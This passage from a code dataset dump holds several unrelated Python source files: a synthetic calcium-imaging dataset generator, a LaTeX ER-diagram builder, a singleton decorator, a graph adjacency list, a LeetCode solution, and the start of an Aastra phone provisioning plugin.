neuron_shape\n\n def get_neuron_coord(self, edge_smooth_factor=18):\n #returns coords of neuron shape and position in 2D image\n\n # create neuron shape\n neuron = self.get_neuron_shape(edge_smooth_factor)\n\n # get polygon exterior shape coord\n xy = np.array(neuron.exterior.coords.xy)\n\n # apply vector to shape to change position in image\n # question: should this really be gaussian distributed?\n vec_x = np.random.uniform(0, 500)\n vec_y = np.random.uniform(0, 500)\n\n # vec_x = np.random.normal(250, 150)\n # vec_y = np.random.normal(250, 150)\n\n scale = np.random.normal(1.8, 0.1)\n x_list = xy[0]\n y_list = xy[1]\n xy_polar = cart2pol(x_list, y_list)\n xy_polar[0] *= scale\n x_list, y_list = pol2cart(*xy_polar)\n x_new = [x * scale + vec_x for x in x_list]\n y_new = [y * scale + vec_y for y in y_list]\n xy_new = [x_new, y_new]\n\n neuron_coord = Polygon(np.array(xy_new).T)\n\n return neuron_coord\n\n\ndef add_background( img, snr=0.2, rotate_angle=0):\n\n background_imgs = glob.glob('/home/user/Documents/utils/filtered/*.jpg')\n\n background_smoothed_index = np.random.randint(0, 99)\n background_smoothed_path = background_imgs[background_smoothed_index]\n background_smoothed = np.array( cv2.imread(background_smoothed_path))\n background_smoothed = cv2.cvtColor(background_smoothed, cv2.COLOR_BGR2GRAY) / 255\n high_pass_mat = scipy.io.loadmat('/home/user/Documents/github-projects/'\n 'MovieAnalysis/preprocessing/'\n 'residuals/filtered_highpass_1.mat')\n high_pass = high_pass_mat['inputFiltered']\n high_pass_n = (high_pass - np.min(high_pass)) / (np.max(high_pass) - np.min(high_pass))\n high_pass_n = scipy.ndimage.rotate(high_pass_n, rotate_angle)\n low_pass_mat = scipy.io.loadmat('/home/user/Documents/github-projects/'\n 'MovieAnalysis/preprocessing/'\n 'residuals/filtered_lowpass_1.mat')\n low_pass = low_pass_mat['inputFiltered']\n low_pass_n = (low_pass - np.min(low_pass)) / (np.max(low_pass) - np.min(low_pass))\n low_pass_n = scipy.ndimage.rotate(low_pass_n, rotate_angle)\n img = img* (1-snr) + (low_pass_n -np.mean(low_pass_n))* snr + \\\n (high_pass_n - np.mean(high_pass_n))\n #img = img * (0.8) + (background_smoothed - np.mean(background_smoothed)) * 0.2\n\n # try contrast\n #img = img * 0.8\n return img\n\ndef extract_labels(neuron_coordinates, neuron_activities, neuron_events,imgs, param, save_path):\n\n map = np.zeros((500, 500))\n coord_all=[]\n for neuron_coord_single in neuron_coordinates:\n coord_single = list(neuron_coord_single.exterior.coords)\n for (x, y) in coord_single:\n if x >= 500 or y >= 500:\n pass\n else:\n map[int(x), int(y)] = 1\n\n coord_all.append(coord_single)\n\n\n map = map.tolist()\n neuron_act = [x.tolist() for x in neuron_activities]\n neuron_act_new = []\n for act in neuron_act:\n act_n = [int(x) for x in act]\n neuron_act_new.append(act_n)\n\n neuron_evt_new = []\n for evt in neuron_events:\n evt_n = [int(x) for x in evt]\n neuron_evt_new.append(evt_n)\n\n \n dict = {\"neuron_coordinates\": coord_all,\n \"neuron_activities\": neuron_act_new,\n \"neuron_events\": neuron_evt_new,\n \"parameters\": param,\n \"map\": map}\n with open(save_path + '/data.json', 'w') as fp:\n json.dump(dict, fp)\n\nif __name__ == '__main__':\n\n random_seed = np.random.seed(16)\n # saving directory\n sd = \"/home/user/Documents/synthetic_datasets/\"\n save = True\n # set parameters dataset/home/user/Documents/synthetic_datasets/sequence_6/video/extracted/resultsPCAICA/new\n n_datasets = 1\n n_sequences = 1\n sequence_length = 800\n image_size = (500, 500)\n\n # background parameters:\n background_snr = float(np.random.choice([ 0.3,0.25]))\n background_rotation = int(np.random.choice([0, 90, 180, 270]))\n background_color = 50\n\n\n\n # set parameters neurons\n nb_neurons = 600\n neuron_size = (1.5,2.5)\n edge_smooth_factor = int(np.random.choice([16, 18, 20]))\n rise_length = int(np.random.choice([2,4]))\n # the smaller, the slower the decay\n decay_param = (0.05, 0.7)\n intensity_mean = 50\n #intensity_mean = int(np.random.choice([20, 30, 40]))\n #intensity_max = (190, 300)\n #active_value = float(np.random.choice([ 0.01, 0.02]))\n active_value = 0.2\n\n\n\n noise = True\n\n # create neurons\n\n neuron_coord = []\n\n neuron_act = []\n neuron_events = []\n\n\n for i in range(n_datasets):\n\n save_path = sd + f\"sequence_11\"\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n params = {\"image_size\": image_size,\n \"background_snr\": background_snr,\n \"background_rotaion\": background_rotation,\n \"background_color\": background_color,\n \"nb_neurons\": nb_neurons,\n \"neuron_size\": neuron_size,\n \"rise_length\": rise_length,\n \"decay_param\": decay_param,\n \"intensity_mean\": intensity_mean,\n \"active_value\": active_value,\n \"noise_trace\": noise}\n\n # create neurons\n for n in range(nb_neurons):\n neuron = Neuron(size_param=neuron_size, rise_length=rise_length, decay_param=decay_param,\n intensity_mean=intensity_mean, active_value=active_value)\n\n neuron_coord.append(neuron.get_neuron_coord(edge_smooth_factor=edge_smooth_factor))\n print(f\"Get activation function of neuron {n} of {nb_neurons}\")\n neuron_act.append(neuron.get_activation_function(sequence_length, save_path, n, save=save, noise=noise))\n neuron_events.append(neuron.get_neuron_events())\n\n # show neuron ROI map\n map = np.zeros((500, 500))\n coord_all = []\n for neuron_coord_single in neuron_coord:\n coord_single = list(neuron_coord_single.exterior.coords)\n for (x, y) in coord_single:\n if x >= 500 or y >= 500:\n pass\n else:\n map[int(x), int(y)] = 1\n\n coord_all.append(coord_single)\n fig, ax = plt.subplots(figsize=(8, 8))\n # fig.add_subplot(rows, columns, i)\n plt.imshow(map)\n if save:\n\n map = map * 255\n im = Image.fromarray(map)\n if im.mode != 'RGB':\n im = im.convert('RGB')\n im.save(save_path + \"/coord_map.jpeg\")\n\n\n # create dataset\n dataset = Dataset(image_size=image_size, background_color=background_color, background_snr=background_snr, n_sequences=n_sequences, n_frames=sequence_length, seed=random_seed)\n sequence_set = dataset.create_sequences( neuron_coord, neuron_act)\n image_set = sequence_set[0]\n\n # plot and save images\n columns = sequence_length\n rows = 1\n imgs = []\n\n save_path_imgs = save_path + \"/images\"\n if not os.path.exists(save_path_imgs):\n os.makedirs(save_path_imgs)\n\n for j in range(columns):\n\n img = image_set[j]\n imgs.append(img.tolist())\n if save:\n #no rescaling since I strated to do it too late and now it fucks up my parameters.\n #img = (img - np.min(image_set)) / (np.max(image_set)- np.min(image_set))\n\n img = img * 255\n im = Image.fromarray(img)\n if im.mode != 'RGB':\n\n im = im.convert('RGB')\n im.save(save_path_imgs + f\"/frame{j}.jpeg\")\n\n # fig, ax = plt.subplots(figsize=(8, 8))\n # plt.imshow(img, cmap=\"gray\", vmin=0, vmax=255)\n # fig.axes[0].get_xaxis().set_visible(False)\n # fig.axes[0].get_yaxis().set_visible(False)\n # plt.show()\n # plt.close(fig)\n\n save_path_video = save_path + \"/video/\"\n if not os.path.exists(save_path_video):\n os.makedirs(save_path_video)\n print(f\"Extracting and saving labels as .json file\")\n extract_labels(neuron_coord, neuron_act, neuron_events, imgs, params, save_path)\n print(\"Converting frames to .h5 movie\")\n hf = h5py.File(save_path_video + 'movie.h5', 'w')\n hf.create_dataset('1', data=np.array(image_set))\n hf.close()\n print(\"Converting frames to gif\")\n convert_frames_to_gif(save_path + \"/images/\", save_path + \"/video/\")\n i += 1\n print(\"Successfully created data set!\")\n print(\"Saved to:\\n\" + save_path)\n plt.close('all')","repo_name":"carlottarpt/synthetic_dataset","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17128509451","text":"from dataclasses import dataclass\nfrom enum import Enum\nfrom typing import List, Optional, Tuple\n\ntry:\n import importlib.resources as pkg_resources\nexcept ImportError:\n import importlib_resources as pkg_resources\n\nfrom . import templates\n\n# Levels of indentation for LaTeX code\nINDENTATION = [\" \" * 4 * i for i in range(5)]\n\n# Some common cardinalities.\nONE_TO_ONE = ((0, 1), (0, 1))\nONE_TO_MANY = ((0, -1), (0, 1))\nMANY_TO_ONE = ((0, 1), (0, -1))\nMANY_TO_MANY = ((0, -1), (0, -1))\nMANY_TO_EXACTLY_ONE = ((1, 1), (0, -1))\nEXACTLY_ONE_TO_MANY = ((0, -1), (1, 1))\n\n\nclass Direction(Enum):\n \"\"\"An enum wrapping the relative position of an entity in the ERD.\"\"\"\n\n ABOVE = \"above\"\n BELOW = \"below\"\n RIGHT = \"right\"\n LEFT = \"left\"\n\n\n@dataclass\nclass Entity:\n \"\"\"An object representing an entity in the diagram.\n\n Attributes:\n name (`str`): The display name of the entity.\n attributes (:obj:`list` of str): A list of this entity's\n attributes, which are displayed on the diagram.\n primary (`int`): The index of the primary key in the attributes list\n (by default it's 0).\n weak (`bool`): True if the entity is weak, False if not.\n \"\"\"\n\n name: str\n attributes: List[str]\n primary: int\n weak: bool\n\n def __init__(self, name: str, attributes: List[str], weak: bool = False) -> None:\n \"\"\"Initializes an Entity object.\n\n Args:\n name (`str`): The display name of the entity.\n attributes (:obj:`list` of `str`): A list of this entity's\n attributes, which are displayed on the diagram.\n weak (`bool`): True if the entity is weak, False if not. Defaults\n to False.\n \"\"\"\n self.name = name\n self.weak = weak\n self.attributes = []\n for attribute in attributes:\n self.attributes.append(attribute)\n # the first attribute specified will defualt to the primary key\n self.primary = 0 if self.attributes else -1\n\n def __str__(self) -> None:\n \"\"\"Formats an `Entity`'s fields in a readable way.\"\"\"\n return (\n f\"{self.name} ({'Weak ' if self.weak else ''}Entity)\\n\"\n f\"Attributes: {self.attributes}\\n\\n\"\n f\"Primary: {'None' if self.primary == -1 else self.attributes[self.primary]}\"\n )\n\n def add_attribute(self, attribute: str) -> None:\n \"\"\"Adds an attribute to the end of the `Entity`'s attributes list.\n\n Args:\n attribute (`str`): The attribute to be added to the list.\n \"\"\"\n self.attributes.append(attribute)\n\n def set_primary(self, attribute: str) -> None:\n \"\"\"Sets the primary key to an existing attribute, referenced by name.\n\n Args:\n attribute (`str`): The name of the attribute to be set as new\n primary key.\n\n Raises:\n `ValueError`: If `attribute` does not exist in the Entity's list of\n attributes.\n \"\"\"\n for idx, att in enumerate(self.attributes):\n if att == attribute:\n self.primary = idx\n return\n raise ValueError(\"This attribute doesn't exist.\")\n\n # TODO: deal with empty attributes\n def to_latex(self) -> str:\n \"\"\"Generates the LaTeX code associated with this Entity object.\n\n Returns:\n `str`: The LaTeX code, as a string.\n \"\"\"\n code = f\"{{{'weak' if self.weak else ''}\" f\"entity={{{id(self)}}}{{{self.name}}}{{%\"\n for idx, attribute in enumerate(self.attributes):\n code += f\"\\n{INDENTATION[-1]}\"\n code += (\n fr\"\\{'dashuline' if self.weak else 'underline'}\" fr\"{{{attribute}}}\\\\\"\n if idx == self.primary\n else fr\"{attribute}\\\\\"\n )\n return code + f\"\\n{INDENTATION[-2]}}}}};\"\n\n\n@dataclass\nclass Relationship:\n \"\"\"An object representing a relationship between two entities in the diagram.\n\n Attributes:\n anchor (`Entity`): The existing entity in the diagram to which the new\n entity should be attached.\n new_entity (`Entity`): The new entity to attach to this diagram.\n label (str): The display label given to this relationship; will be\n shown on the diagram.\n cardinality (:obj:`Tuple` of two :obj:`Tuple`s of `int`): The\n cardinality of this relationship (e.g., one-to-many).\n direction (`Direction`): The relative positioning of the new entity\n with respect to the anchor entity.\n attributes (:obj:`list` of `str`, optional): The attributes attached to\n this relationship, if any.\n \"\"\"\n\n anchor: Entity\n new_entity: Entity\n label: str\n cardinality: Tuple[Tuple[int, int], Tuple[int, int]]\n direction: Direction\n attributes: Optional[List[str]] = None\n\n def __str__(self):\n \"\"\"Formats an `Entity`'s fields in a readable way.\"\"\"\n return f\"{self.label}: [{self.anchor.name} to {self.new_entity.name}]\"\n\n def add_attribute(self, attribute: str) -> None:\n \"\"\"Adds an attribute to the end of the `Relationship`'s attributes list.\n\n Args:\n attribute (`str`): The attribute to be added to the list.\n \"\"\"\n self.attributes.append(attribute)\n\n def attributes_to_latex(self) -> str:\n \"\"\"Generates the LaTeX code associated with this `Relationship`'s attributes.\n\n Returns:\n `str`: The LaTeX code, as a string.\n \"\"\"\n code = f\"{{relattribute={{a{id(self)}}}{{%\"\n\n if len(self.attributes) == 1:\n return code + f\"\\n{INDENTATION[-1]}{self.attributes[0]}\\n\" f\"{INDENTATION[-2]}}}}};\"\n\n for attribute in self.attributes:\n code += f\"\\n{INDENTATION[-1]}{attribute}\"\n code += r\"\\\\\"\n\n return code + f\"\\n{INDENTATION[-2]}}}}};\"\n\n\ndef determine_line_type(cardinality: Tuple[Tuple[int, int], Tuple[int, int]], direction: int) -> str:\n if cardinality[0 + direction][0] == 0:\n if cardinality[1 - direction][1] == 1:\n return \"one line arrow\"\n elif cardinality[1 - direction][1] == -1:\n return \"one line\"\n else:\n # TODO: label line with cardinality in the form x..y\n raise ValueError(\"Unsupported cardinality\")\n elif cardinality[0 + direction][0] == 1:\n # total participation\n if cardinality[1 - direction][1] == 1:\n return \"double line arrow\"\n elif cardinality[1 - direction][1] == -1:\n return \"double line\"\n else:\n # TODO: label line with cardinality in the form x..y\n raise ValueError(\"Unsupported cardinality\")\n\n\ndef get_line_anchors(direction: Direction) -> Tuple[str, str]:\n if direction == Direction.ABOVE:\n return (\"south\", \"north\")\n if direction == Direction.BELOW:\n return (\"north\", \"south\")\n if direction == Direction.RIGHT:\n return (\"west\", \"east\")\n if direction == Direction.LEFT:\n return (\"east\", \"west\")\n\n\n@dataclass\nclass ERDiagram:\n \"\"\"An object representing the entity-relationship diagram.\n\n Attributes:\n entities (:obj:`list` of `Entity`): The entities in this diagram.\n code (`str`): The LaTeX code that corresponds to all the entities and\n relationships in this diagram.\n \"\"\"\n\n entities: List[Entity]\n code: str\n\n def __init__(self, entity: Entity) -> None:\n \"\"\"Initializes an ERDiagram object.\n\n Args:\n entity (`Entity`): The first entity in this diagram.\n \"\"\"\n self.entities = [entity]\n self.code = fr\"{INDENTATION[-2]}\\pic {entity.to_latex()}\" + \"\\n\"\n\n def add_relationship(self, rel: Relationship, defining: bool = False) -> None:\n \"\"\"Adds a relationship (and, therefore, another entity) to the ER diagram.\n\n Args:\n rel (`Relationship`): The Relationship object corresponding to one\n anchor entity (already in this diagram) and one new entity to\n be added to this diagram.\n defining (`bool`): True if this relationship is the defining\n relationship of a weak entity, False otherwise. Defaults to\n False.\n\n Raises:\n `ValueError`: If the anchor does not already exist in the diagram.\n \"\"\"\n if rel.anchor not in self.entities:\n raise ValueError(\"Anchor does not exist in the diagram.\")\n self.entities.append(rel.new_entity)\n\n # TODO: add space changing option\n\n # render relationship diamond\n self.code += (\n fr\"{INDENTATION[-2]}\\pic[{rel.direction.value}=3em \"\n f\"of {id(rel.anchor)}] {{{'def' if defining else ''}\"\n f\"relationship={{{id(rel)}}}{{{rel.label}}}}};\\n\"\n )\n\n # render other entity\n self.code += fr\"{INDENTATION[-2]}\\pic[{rel.direction.value}=3em \"\n self.code += f\"of {id(rel)}] {rel.new_entity.to_latex()}\\n\"\n\n line_type_one = determine_line_type(rel.cardinality, 0)\n line_type_two = determine_line_type(rel.cardinality, 1)\n line_anchors = get_line_anchors(rel.direction)\n\n # render line between anchor entity and relationship\n self.code += (\n fr\"{INDENTATION[-2]}\\draw[{line_type_one}] \"\n f\"({id(rel)}.{line_anchors[0]}) -- \"\n f\"({id(rel.anchor)}.{line_anchors[1]});\\n\"\n )\n\n # render line between new entity and relationship\n self.code += (\n fr\"{INDENTATION[-2]}\\draw[{line_type_two}] \"\n f\"({id(rel)}.{line_anchors[1]}) -- \"\n f\"({id(rel.new_entity)}.{line_anchors[0]});\\n\"\n )\n\n if rel.attributes:\n direction = (\n Direction.RIGHT\n if rel.direction == Direction.ABOVE or rel.direction == Direction.BELOW\n else Direction.ABOVE\n )\n\n line_anchors = get_line_anchors(direction)\n\n # Stick relationship attributes to the right of any vertical\n # relationship, and above any horizontal one.\n self.code += fr\"{INDENTATION[-2]}\\pic[{direction.value}=2em of \"\n self.code += f\"{id(rel)}] {rel.attributes_to_latex()}\\n\"\n # latex node id is \"a\" + rel id\n self.code += (\n fr\"{INDENTATION[-2]}\\draw[dashed line] ({id(rel)}.\"\n f\"{line_anchors[1]}) -- (a{id(rel)}.\"\n f\"{line_anchors[0]});\\n\"\n )\n\n def add_specialization(self, superclass: Entity, subclass: Entity) -> None:\n \"\"\"Adds a specialization relationship to the ER diagram.\n\n Args:\n superclass (`Entity`): The Entity object corresponding to an\n anchor entity (must already exist in this diagram), from which\n the subclass will specialize.\n subclass (`Entity`): The Entity object corresponding to a new\n entity which is a specialization of the superclass entity.\n\n Raises:\n `ValueError`: If the superclass does not exist in the diagram.\n \"\"\"\n if superclass not in self.entities:\n raise ValueError(\"Anchor does not exist in the diagram.\")\n self.entities.append(subclass)\n\n # add other entity\n self.code += fr\"{INDENTATION[-2]}\\pic[below=3em of {id(superclass)}]\"\n self.code += f\" {subclass.to_latex()}\\n\"\n self.code += fr\"{INDENTATION[-2]}\\draw[specialization] \"\n self.code += f\"({id(subclass)}.north) -- ({id(superclass)}.south);\\n\"\n\n def to_latex(self) -> str:\n \"\"\"Generates the LaTeX code associated with this diagram.\n\n Returns:\n `str`: The LaTeX code, as a string.\n \"\"\"\n prelude = pkg_resources.read_text(templates, 'template.tex')\n\n return (\n prelude + f\"{INDENTATION[0]}\\\\begin{{document}}\\n\"\n f\"{INDENTATION[1]}\\\\begin{{center}}\\n\"\n f\"{INDENTATION[2]}\\\\begin{{tikzpicture}}\\n\"\n + self.code\n + f\"{INDENTATION[2]}\\\\end{{tikzpicture}}\\n\"\n + f\"{INDENTATION[1]}\\\\end{{center}}\\n\"\n f\"{INDENTATION[0]}\\\\end{{document}}\\n\"\n )\n","repo_name":"basseches/texonomy","sub_path":"texonomy/texonomy.py","file_name":"texonomy.py","file_ext":"py","file_size_in_byte":12183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40380691911","text":"# 使用装饰器(decorator),\n# 这是一种更pythonic,更elegant的方法,\n# 单例类本身根本不知道自己是单例的,因为他本身(自己的代码)并不是单例的\n\n\ndef singleton(cls, *args, **kw): \n instances = {}\n def _singleton(): \n if cls not in instances:\n print(\"新建一个上下文!!!!!\") \n instances[cls] = cls(*args, **kw) \n return instances[cls]\n return _singleton\n\n# 上下文,单例\n\n@singleton\nclass Context(object):\n conf, engine = None, None\n","repo_name":"zjkevin/kevin_utility","sub_path":"kevin_utils/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36325374176","text":"class vertexObj:\r\n def __init__(self, vertexName):\r\n self.vertexName = vertexName\r\n self.next = None\r\n\r\nclass adjacencyList:\r\n def __init__(self, graph):\r\n self.adjList = {}\r\n\r\n for n in graph[\"vertices\"]:\r\n self.addVertex(n)\r\n\r\n for m in graph[\"arestas\"]:\r\n if not self.addEdge(m) : print(\"aresta não existe\")\r\n\r\n def addNeighbour(self, vertex, neighbour):\r\n neighbour = vertexObj(neighbour)\r\n if self.adjList[vertex] is None:\r\n self.adjList[vertex] = neighbour\r\n return\r\n\r\n currentNode = self.adjList[vertex]\r\n while True:\r\n if currentNode.next is None: \r\n currentNode.next = neighbour \r\n break\r\n currentNode = currentNode.next\r\n\r\n def removeNeighbour(self, vertex, neighbour):\r\n if self.adjList[vertex] is None: return False\r\n\r\n if self.adjList[vertex].vertexName == neighbour:\r\n self.adjList[vertex] = self.adjList[vertex].next\r\n return True\r\n \r\n currentNode = self.adjList[vertex]\r\n while True:\r\n if currentNode.next is None:\r\n return True\r\n elif currentNode.next.vertexName == neighbour:\r\n currentNode.next = currentNode.next.next\r\n return True\r\n\r\n currentNode = currentNode.next\r\n\r\n def addEdge(self, edge):\r\n if edge[0] not in self.adjList or edge[1] not in self.adjList: return False\r\n \r\n self.addNeighbour(edge[0], edge[1])\r\n self.addNeighbour(edge[1], edge[0])\r\n\r\n return True\r\n\r\n def removeEdge(self, edge):\r\n if edge[0] not in self.adjList or edge[1] not in self.adjList: return False\r\n\r\n return self.removeNeighbour(edge[0], edge[1]) and self.removeNeighbour(edge[1], edge[0])\r\n \r\n def addVertex(self, vertex):\r\n self.adjList[vertex] = None\r\n\r\n def removeVertex(self, vertex):\r\n if vertex not in self.adjList: return False\r\n\r\n if self.adjList[vertex] is None:\r\n self.adjList.pop(vertex)\r\n return True\r\n\r\n ok = True\r\n\r\n currentNode = self.adjList[vertex]\r\n while currentNode is not None:\r\n if ok: \r\n ok = self.removeNeighbour(currentNode.vertexName, vertex)\r\n currentNode = currentNode.next\r\n else:\r\n self.removeNeighbour(currentNode.vertexName, vertex)\r\n currentNode = currentNode.next\r\n\r\n self.adjList.pop(vertex)\r\n return ok\r\n\r\n def vertexNeighbours(self, vertex):\r\n neighbours = []\r\n if vertex not in self.adjList: return neighbours\r\n\r\n if self.adjList[vertex] is None: return neighbours\r\n\r\n currentNode = self.adjList[vertex]\r\n while True:\r\n if currentNode.next is None:\r\n neighbours.append(currentNode.vertexName)\r\n return neighbours\r\n else:\r\n neighbours.append(currentNode.vertexName)\r\n currentNode = currentNode.next\r\n\r\n def printList(self):\r\n for key, value in self.adjList.items():\r\n print('vertice = ' + key)\r\n\r\n currentNode = value\r\n while currentNode is not None:\r\n print(' vizinho de ' + key + ' = ' + currentNode.vertexName)\r\n currentNode = currentNode.next\r\n \r\n","repo_name":"leonardoatorres/OG","sub_path":"adjList.py","file_name":"adjList.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22559721601","text":"# 给你 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) 。在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, \n# ai) 和 (i, 0) 。找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 \n# \n# 说明:你不能倾斜容器。 \n# \n# \n# \n# 示例 1: \n# \n# \n# \n# \n# 输入:[1,8,6,2,5,4,8,3,7]\n# 输出:49 \n# 解释:图中垂直线代表输入数组 [1,8,6,2,5,4,8,3,7]。在此情况下,容器能够容纳水(表示为蓝色部分)的最大值为 49。 \n# \n# 示例 2: \n# \n# \n# 输入:height = [1,1]\n# 输出:1\n# \n# \n# 示例 3: \n# \n# \n# 输入:height = [4,3,2,1,4]\n# 输出:16\n# \n# \n# 示例 4: \n# \n# \n# 输入:height = [1,2,1]\n# 输出:2\n# \n# \n# \n# \n# 提示: \n# \n# \n# n == height.length \n# 2 <= n <= 10⁵ \n# 0 <= height[i] <= 10⁴ \n# \n# Related Topics 贪心 数组 双指针 👍 3067 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def maxArea(self, height):\n '''\n 关键在于: 永远只能左右两个边,不论移动那边,底会减小\n 要想面积增大,只能移动矮的那边,才可能增大\n '''\n res = -1\n l, r = 0, len(height) - 1\n while l < r:\n print(l, r, res)\n tmp = min(height[l], height[r]) * (r - l)\n if res < tmp:\n res = tmp\n if height[l] < height[r]:\n l += 1\n else:\n r -= 1\n return res\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\nif __name__ == \"__main__\":\n S = Solution()\n l = [1, 8, 6, 2, 5, 4, 8, 3, 7]\n print(S.maxArea(l))\n","repo_name":"shuxinyin/leetcode","sub_path":"DoublePointer/problem/[11]盛最多水的容器.py","file_name":"[11]盛最多水的容器.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"zh","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"8265599508","text":"from __future__ import annotations\n\nimport errno\nimport logging\nimport re\nimport os.path\nfrom operator import itemgetter\n\nfrom provd import plugins\nfrom provd import tzinform\nfrom provd import synchronize\nfrom provd.devices.config import RawConfigError\nfrom provd.plugins import StandardPlugin, FetchfwPluginHelper, TemplatePluginHelper\nfrom provd.devices.pgasso import BasePgAssociator, DeviceSupport\nfrom provd.servers.http import HTTPNoListingFileService\nfrom provd.util import norm_mac, format_mac\nfrom provd.servers.http_site import Request\nfrom provd.devices.ident import RequestType\nfrom twisted.internet import defer\n\nlogger = logging.getLogger('plugin.wazo-aastra')\n\n\nclass BaseAastraHTTPDeviceInfoExtractor:\n _UA_REGEX = re.compile(r'^(?:Aastra|Mitel)(\\w+) MAC:([^ ]+) V:([^ ]+)-SIP$')\n _UA_MODELS_MAP = {\n '51i': '6751i', # not tested\n '53i': '6753i', # not tested\n '55i': '6755i',\n '57i': '6757i',\n }\n\n def extract(self, request: Request, request_type: RequestType):\n return defer.succeed(self._do_extract(request))\n\n def _do_extract(self, request: Request):\n ua = request.getHeader(b'User-Agent')\n if ua:\n return self._extract_from_ua(ua.decode('ascii'))\n return None\n\n def _extract_from_ua(self, ua: str):\n # HTTP User-Agent:\n # \"Aastra6731i MAC:00-08-5D-23-74-29 V:3.2.0.70-SIP\"\n # \"Aastra6731i MAC:00-08-5D-23-73-01 V:3.2.0.1011-SIP\"\n # \"Aastra6739i MAC:00-08-5D-13-CA-05 V:3.0.1.2024-SIP\"\n # \"Aastra6739i MAC:00-08-5D-13-CA-05 V:3.2.1.1013-SIP\"\n # \"Aastra6735i MAC:00-08-5D-2E-A0-94 V:3.2.2.6038-SIP\"\n # \"Aastra6737i MAC:00-08-5D-30-A6-CE V:3.2.2.6038-SIP\"\n # \"Aastra6863i MAC:00-08-5D-40-90-5F V:4.1.0.128-SIP\"\n m = self._UA_REGEX.match(ua)\n if m:\n model, mac, version = m.groups()\n try:\n mac = norm_mac(mac)\n except ValueError as e:\n logger.warning('Could not normalize MAC address: %s', e)\n return None\n\n if model in self._UA_MODELS_MAP:\n model = self._UA_MODELS_MAP[model]\n\n return {\n 'vendor': 'Aastra',\n 'model': model,\n 'version': version,\n 'mac': mac,\n }\n return None\n\n\nclass BaseAastraPgAssociator(BasePgAssociator):\n def __init__(self, model_versions):\n super().__init__()\n self._model_versions = model_versions\n\n def _do_associate(\n self, vendor: str, model: str | None, version: str | None\n ) -> DeviceSupport:\n if vendor == 'Aastra':\n if model in self._model_versions:\n if version == self._model_versions[model]:\n return DeviceSupport.EXACT\n return DeviceSupport.COMPLETE\n return DeviceSupport.UNKNOWN\n return DeviceSupport.IMPROBABLE\n\n\nclass AastraModel:\n def __init__(\n self, nb_prgkey=0, nb_topsoftkey=0, nb_softkey=0, nb_expmod=0, nb_expmodkey=0\n ):\n self.nb_prgkey = nb_prgkey\n self.nb_topsoftkey = nb_topsoftkey\n self.nb_softkey = nb_softkey\n self.nb_expmod = nb_expmod\n self.nb_expmodkey = nb_expmodkey\n\n def get_keytype(self, funckey_no):\n for keytype, nb_key in self._keytypes():\n if funckey_no <= nb_key:\n return keytype + str(funckey_no)\n funckey_no -= nb_key\n return None\n\n def _keytypes(self):\n yield 'prgkey', self.nb_prgkey\n yield 'topsoftkey', self.nb_topsoftkey\n yield 'softkey', self.nb_softkey\n for expmod_num in range(1, self.nb_expmod + 1):\n yield f'expmod{expmod_num} key', self.nb_expmodkey\n\n\nclass BaseAastraPlugin(StandardPlugin):\n _ENCODING = 'UTF-8'\n _M670_NB_KEY = 36\n _M675_NB_KEY = 60\n _M680_NB_KEY = 16\n _M685_NB_KEY = 84\n _MODELS = {\n '6730i': AastraModel(\n nb_prgkey=8,\n ),\n '6731i': AastraModel(\n nb_prgkey=8,\n ),\n '6735i': AastraModel(\n nb_prgkey=6,\n nb_softkey=20,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6737i': AastraModel(\n nb_topsoftkey=10,\n nb_softkey=20,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6739i': AastraModel(\n nb_softkey=55,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6753i': AastraModel(\n nb_prgkey=6,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6755i': AastraModel(\n nb_prgkey=6,\n nb_softkey=20,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6757i': AastraModel(\n nb_topsoftkey=10,\n nb_softkey=20,\n nb_expmod=3,\n nb_expmodkey=max(_M670_NB_KEY, _M675_NB_KEY),\n ),\n '6863i': AastraModel(\n nb_prgkey=3,\n ),\n '6865i': AastraModel(\n nb_prgkey=8,\n nb_expmod=3,\n nb_expmodkey=max(_M680_NB_KEY, _M685_NB_KEY),\n ),\n '6867i': AastraModel(\n nb_topsoftkey=20,\n nb_softkey=18,\n nb_expmod=3,\n nb_expmodkey=max(_M680_NB_KEY, _M685_NB_KEY),\n ),\n '6869i': AastraModel(\n nb_topsoftkey=44,\n nb_softkey=24,\n nb_expmod=3,\n nb_expmodkey=max(_M680_NB_KEY, _M685_NB_KEY),\n ),\n '6873i': AastraModel(\n nb_topsoftkey=48,\n nb_softkey=24,\n nb_expmod=3,\n nb_expmodkey=max(_M680_NB_KEY, _M685_NB_KEY),\n ),\n '6930': AastraModel(\n nb_topsoftkey=44,\n nb_softkey=24,\n nb_expmod=3,\n nb_expmodkey=max(_M680_NB_KEY, _M685_NB_KEY),\n ),\n '9143i': AastraModel(\n nb_prgkey=7,\n ),\n '9480i': AastraModel(\n nb_softkey=6,\n ),\n }\n _TRUSTED_ROOT_CERTS_SUFFIX = '-ca_servers.crt'\n _LOCALE = {\n # : (, , )\n 'de_DE': ('lang_de.txt', 'Germany', 'German'),\n 'es_ES': ('lang_es.txt', 'Europe', 'Spanish'),\n 'fr_FR': ('lang_fr.txt', 'France', 'French'),\n 